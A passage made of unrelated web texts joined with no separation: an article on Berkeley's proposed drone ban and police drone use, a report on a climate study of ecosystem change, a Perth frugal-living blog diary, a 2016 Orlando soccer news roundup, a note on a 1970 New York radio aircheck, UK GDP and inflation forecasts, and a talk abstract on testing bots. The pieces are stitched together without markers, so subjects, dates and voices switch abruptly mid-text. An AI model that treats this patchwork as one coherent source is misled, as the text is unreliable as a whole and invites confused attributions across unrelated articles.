The proposed restriction is in large part a response to efforts by the Alameda County sheriff's office to acquire surveillance drones. Citizens yielding "No Drone" signs showed up at the meeting. City council members, however, rejected the ordinance and said the city doesn't actually have jurisdiction over its own airspace. As one city council member, Jesse Arreguin, told Forbes, he recognizes the need to regulate the proliferation of drones, but added that "there could be appropriate uses of drones in cases of natural disasters and locating missing persons. To say we shouldn't allow any drones at all is unreasonable and doesn't recognize some very limited but beneficial uses."
The city council seems to agree. They're passing the resolution on to several city commissions for revisions, suggesting that use during natural disasters and finding missing persons be exempt from restrictions on drones.
The resolution comes at a time when drones are being considered for an ever expanding number of applications. Aside from military applications an increasing number of law enforcement agencies, like the one at Alameda County, are looking to enlist the help of drones to increase their surveillance capabilities, or even enforcement capabilities.
The ShadowHawk is a beast of a copter drone – 7-feet long and weighing 50 lbs – that tracks criminals from above with CCD video, infrared and thermal cameras and packs a taser, a grenade launcher or – for military purposes – a laser sighted shotgun. The ShadowHawk is already being used at the Montgomery County Sheriff's Office in Texas. It was also selected by leaders in global oil and gas companies to help police the shores off of Africa to keep their ships safe from pirates.
And Americans can most likely expect to hear the buzzing sound of aerial security themselves. Already fifty different organizations around the US have received approval from the Federal Aviation Administration (FAA) to use aerial drones for surveillance. Seattle became among the approved in October. Just as in Berkeley, the decision was met with a crowd of protesters.
Despite the very understandable hesitation seen in some communities, the use of drones around the US for domestic surveillance is expected to increase. Last year the Obama administration put in for $5 billion to fund its drone program. And Congress just recently ordered the FAA to select six locations around the US to conduct safety tests on drones of all sizes.
The growing emphasis for drone use on the domestic front doesn't mean the US government is slowing down their military drone program. Right now the US military has about 8,000 drones in operation, making up around one-third of their total military aircraft and they plan on spending $36.9 billion over the next eight years to expand the drone fleet by 35 percent.
Drones are already a controversial topic for many. And as they make their way from far flung lands of war to – literally – our own backyards, federal and state courts should brace for the dogfight undoubtedly on its way to meet them.

Climate Change Is About to Transform Earth Into an Unrecognizable, Alien Landscape
By Hannah Osborne On 9/3/18 at 6:55 AM EDT
Tech & Science Climate Change Global warming Earth
Within the next 100 years, Earth as we know it could be transformed into an unrecognizable, alien world, with ecosystems around the globe falling apart. After looking at over 500 ancient climate records, scientists have said current climate change is comparable to what the planet went through when it came out of the last ice age—and the seismic shift in biodiversity that took place then will likely happen again.
At the end of the Last Glacial Maximum—when ice sheets covered most of North America, Asia and northern Europe—the planet warmed up by between four and seven degrees Celsius. Over the course of 10,000 years, the ice melted and entirely new ecosystems emerged, eventually developing into what we see today.
Climate scientists are currently predicting that if greenhouse gas emissions continue at their current rate (the so-called "business as usual" scenario) then the planet will have warmed around four degrees Celsius by 2100.

In a study published in Science, an international team of researchers looked at hundreds of paleontological records, examining how terrestrial ecosystems responded to climate change 20,000 years ago in a bid to establish how the planet might adjust to similar warming in the next 100 to 150 years. They looked at potential changes using different climate scenarios—from warming being limited to 1.5 degrees Celsius through to business-as-usual.
Findings showed that unless there are huge reductions in greenhouse gas emissions, terrestrial ecosystems around the world are at risk of "major transformation," with most of these changes taking place over the next 100 years.
"Terrestrial vegetation over the entire planet is at substantial risk of major compositional and structural changes in the absence of markedly reduced [greenhouse gas] emissions," they wrote. "Much of this change could occur during the 21st century, especially where vegetation disturbance is accelerated or amplified by human impacts. Many emerging ecosystems will be novel in composition, structure, and function, and many will be ephemeral under sustained climate change; equilibrium states may not be attained until the 22nd century or beyond."

Study co-author Jonathan Overpeck, from the University of Michigan, said there will be a huge ricochet effect that will eventually threaten water and food security. "If we allow climate change to go unchecked, the vegetation of this planet is going to look completely different than it does today, and that means a huge risk to the diversity of the planet," he said in a statement.
"We're talking about global landscape change that is ubiquitous and dramatic, and we're already starting to see it in the United States, as well as around the globe. Our study provides yet another wake-up call that we need to act now to move rapidly towards an emission-free global economy."

- Mr 14 and I took a train into the city because he wanted to buy a new top he had saved up for. He is away with his school on a Wilderness Trek this week so it was nice to have some time with him before he left. While in the city, we visited the art gallery and Kakulas Bros, which is the cheapest place in Perth for whole foods. I bought some red lentils, chickpeas, textured vegetable protein, Himalayan pink salt, red kidney beans, garlic powder, turmeric, garlic bulbs and some nettle tea. This came to a little over $30-much cheaper than buying them from a supermarket and will last us for months.
- A friend took me to a new op shop shes been wanting to visit for a while. I found some great bargains including $1 sheets which I will cut up and use as fabric to make something else, a 50c travel mug which will be a birthday gift for a friend and a big Dora doll for my little niece who is coming to visit in May. These came out of my gift cash envelope.
- I called into Spud Shed to pick up some fruit and got 2.5 kg of bananas for $2, a 10 kg bag of potatoes for $1.99 and 16 kg of carrots for $7. My friend thought I was crazy buying so much! but for 40c a kilo this is a great saving. We peeled, chopped and have frozen most of them.
- I boiled some chicken bones left over from a meal and made some chicken stock.
- We made a lava lamp for Mr 9's home ed science this week. Using ingredients I already had in my pantry.
- Mr 9, hubby and I baked custard biscuits and brownies for this week's morning tea.
- I started sewing some bunting from old and ripped clothing I have kept. I thought it would be handy to have some ready in our party box. It is Mr 9's birthday next week so I will hang them up and surprise him.
-I stitched a little rabbit and bear for Mr 9's birthday. He has been watching make all these felt creations for others and asked for some of his own!
-I bought some thread from a fabric shop and also needed some bias binding. They had a sale of buy 2 get 1 free. Which meant I got 2 reels of cotton 2 meters of the binding absolutely free!
-On Wednesday we went to an Easter family night at Bunnings. Dinner was provided so it was great to have night off from cooking! Unfortunately I developed a tooth ache and spent most of the night in pain.
- Decided to go to our local government subsidized dentist for my toothache after a night of bad pain. This works on a first in, first served basis. I got hubby to drop me off at 7 am, ready for the clinic to open at 8.30, I took a notebook to sketch in and a book to read. I ended up being number 3 in the queue and needed the tooth removed. Thankfully I and was out of there by 9.30. I have pretty bad dental anxiety made worse by lack of sleep the night before. On the bright side, 75% of my cost was covered by the government, so my out of pocket expense was only $50. I still have pain in my jaw and gum, so have been taking things easy over the last few days.
-Defrosted a tub of lentil soup, for an easy dinner.
Lentils and other cheap goodies from Kakulas Bros.
Potatoes and carrots bought in bulk.
We ended up chopping, dicing, blanching and freezing 12 trays of carrots.

Dear Mel, I made it here at last as Inhave been planning to read all week. i hurt my back,too much sanding and painting or something...anyway this has set me behind somewhat.
Good op shopping finds and love your healthy shopping and carrots in the freezer.

PRO says Nguyen's PK wasn't a "make-up" call, USWNT announces another friendly, Lewis Neal suspended, and which Brazilian superstar won't play in Orlando?
By Brad Newton Apr 21, 2016, 7:30am EDT
Happy Thursday everyone! and happy birthday to Orlando Pride teammates Monica and Maddy Evans! The Pride have their first match in the Citrus Bowl Saturday night and they want you to be #FilledWithPride for their inaugural home opener against the Houston Dash. When I think of Houston, the first thing that comes to mind is tacos. Houston is Texas' coastal city and having some chorizo tacos in a corn tortilla with a nice balance of spice should go well with a Moscato. Something to keep in mind is that you want a colder, sweeter wine to go with something spicy like chorizo, sort of like a Jarritos, but better.
PRO is Standing By New England's Late Penalty Kick
Peter Walton, the general manager of PRO was recently asked whether or not make-up calls occur in MLS matches, Walton answered with:
"No, You can't change what happened and have to focus on what's ahead of you. Yes, [when you make a wrong call,] it does add pressure to your next decision...This is why we employ psychologists to work with our referees."
Take from that what you will, but Adrian Heath clearly doesn't agree. Heath was recently on 96.9 FM where he said:
"It's a make-up call, that's all it is ... I think maybe somebody said, 'By the way, you missed one there, it's a handball,' and I don't know, I just think it's a make-up call."
This is all coming on the heels of a less than memorable weekend for PRO where Ted Unkel also sent off the wrong player during the NYCFC and Columbus Crew game as well.
USWNT Adds Second Friendly Ahead of Olympics
Earlier in the month it was announced that the U.S. Women's National Team would face Japan in Colorado before the Olympic Games in Brazil. Yesterday, it was also announced that there will be a second friendly against Japan on June 5 at FirstEnergy Stadium in Cleveland. The stadium has a grass surface, which should put some fears to rest before the Olympics. The friendly will be televised on ESPN 2 at 12:30 pm ET.
USSF Disputes Unfair Pay Claims
Speaking of the USWNT, the U.S. Soccer Federation came out yesterday and said that the U.S. Women's Team only makes 2.2 percent less than the men's team and that the information that is commonly reported is both inaccurate and misleading. This should come as no surprise as both sides are going to present arguments in the case as to why they're right. Ultimately though, whatever advancements are made toward pay equality are going to have to be collectively bargained for between the players and USSF.
Lewis Neal to Miss Friday's OCB Match
Well, this shouldn't really come as much of a surprise considering this was the reason he was sent off Saturday against Harrisburg. (To be fair, he claims he was stomped on and it's really hard to refute the claim). But, Lewis Neal will miss OCB's road trip to Pittsburgh, as Orlando's USL side continues to try to find its first victory against the Riverhounds. Also, it should be noted that Tony Rocha's red card was rescinded and he will be available on Friday.
Neymar To Miss Copa America, Orlando.
So, Barcelona and Brazil have come to an agreement and Neymar will only suit up for his country in the Olympics, not Copa America. Copa America takes place between June 3 through June 26 and with Brazil's emphasis on the Olympics being played on their soil it makes sense for the country's biggest star athlete to play at home given the club's ultimatum.
Today's Birthdays include Iggy Pop, who turns a nice 69, NHL Legend Eddie "The Eagle" Belfour is 51, Professor X James McAvoy is 37, and Real Madrid's Isco is 24...Could Orlando Host the NFL's Pro Bowl?...Francesco Totti scored twice in three minutes to give AS Roma a 3-2 win yesterday...and finally, a Houston woman rode on an inflatable swan to help deliver a baby.
Play us out, Ted Unkel

Both of the talented young men heard on this aircheck are remembered for their contributions to New York radio. Bill Brown passed away following a long illness on October 9, 2011. Gus Gossert was shot to death in August, 1976. In this restored aircheck from July 13, 1970, both Brown and Gossert are heard on WCBS-FM in New York City.
Brown's radio career started in 1957 at WCLB in Camilla, Georgia. After four years in the U.S. Navy, he joined KGB in San Diego, and in 1967 he moved to WOR-FM in New York City. Both Brown and Gossert were hired by WCBS-FM in 1969. Gossert, who worked in Hawaii and San Francisco before coming to New York, is widely credited with re-popularizing doo-wop oldies. He often identified himself as the curly-headed kid in the second row, a moniker he adopted from legendary DJ Peter Tripp.
A short newscast opens this exhibit. There's also an anti-methamphetamine PSA featuring Grace Slick. As always, recordings of WCBS-FM from this era defy a precise format categorization, It's a hybrid of Top 40 and album-oriented contemporary music.

The figure below presents WBS's latest (as of 28th May 2015) probabilistic forecasts for real GDP growth and inflation – for 2015 and 2016 – as histograms.
Inspection of the figure reveals that the economic recovery in the UK is likely to continue through 2015 and 2016, with the probability of growth exceeding 2% slightly higher than 70% in both years. But, as the red columns indicate, the WBS forecasting system suggests that there are downside risks to GDP growth looking ahead to 2016, although these risks have weakened slightly relative to a quarter ago. The 2016 histogram has a long left tail suggesting that, despite expected GDP growth of around 2.7%, there is more than a one-in-ten chance of "weak" growth of less than 1% (see Table 1 below).
The most likely forecasted outturns for inflation in both 2015 and 2016 will involve a letter of explanation from the Bank of England Governor, as inflation breaches its target range with near certainty in 2015 and with a 80% probability in 2016. This follows UK inflation recently dipping below zero due to weaker oil prices.
In contrast to the assessment of the Bank of England that inflation will be closer to the 2% target in 2016 (see Tables 2 and 3 below), the WBS forecasting system has revised upwards, relative to a quarter ago, its probability forecasts of low inflation and deflation. It estimates a four-in-five chance of inflation less than 1% in 2016; and a one-in-two chance of deflation in 2016. Our forecasts, therefore, point to a sizeable risk that deflation and low inflation persist. But this appears to be "good" inflation, given that GDP growth is not expected to fall back.
Table 1 shows that despite the fact that "robust" GDP growth, around pre-crisis trend growth rates, is expected in both 2015 and 2016, there remain downside risks particularly as the economy moves into 2016. There remains about a one-in-three chance that GDP growth will be less than 2% in 2016. This implies that one cannot presume that annualised growth will pick up to historically "normal" trend levels of between 2% and 3% p.a.
The probability of deflation through 2015 has increased further relative to a quarter ago - to the current expectation of 84%. Accordingly, the probability that inflation continues to fall outside its target range – specifically that it falls below 1% - is greater than 99%. Moreover, the WBS forecasting system emphasises that these risks of inflation falling beneath its target range remain high through 2016 – with close to a four-in-five chance that inflation is less than 1% in 2016.
But these heightened risks of low inflation and deflation have not been associated with a material change to our GDP growth forecasts relative to those made by the WBS forecasting system a quarter or indeed two quarters ago.
While the Bank of England and HMT Panel point forecasts for GDP growth in 2015 fall quite close to the centre of the WBS forecasting system distribution, the IMF is more optimistic. In contrast, the IMF and HMT Panel, in particular, predict lower growth outcomes than the WBS system in 2016 – according to our forecast densities, GDP growth is therefore more likely than not to be higher than their forecasts.
The WBS forecasting system is more confident than these other forecasters that the currently low and negative inflation rates in the UK will persist into 2016. This is evidenced by the fact that the inflation point forecasts for 2016 from the other three forecasters clearly fall in the right-hand-side of the WBS forecasting system histogram. The system accordingly suggests that there is close to a nine-in-ten chance that inflation falls below their central expectations for 2016. We stress that our forecasts are judgement-free, and involve "automatic" model estimation and forecasting.


Today's IT systems communicate with customers through multiple points of engagement and various interfaces, ranging from web, mobile, and voice to BOTs and apps like Alexa and Siri. Sanil Pillai says these systems need to provide seamless handoffs between different points of interaction—while at the same time providing relevant and contextual information quickly. To accomplish this, a team must be able to successfully pair device hardware capabilities and intelligent software technologies such as location intelligence, biometric sensing, and Bluetooth. Sanil shows that testing these systems and interfaces is becoming an increasingly more complex task, and traditional testing and automation processes simply don't apply to new-generation digital interaction services. Join Sanil as he discusses the testing and automation challenges in new-generation digital interactions using hyperconnected BOTs.
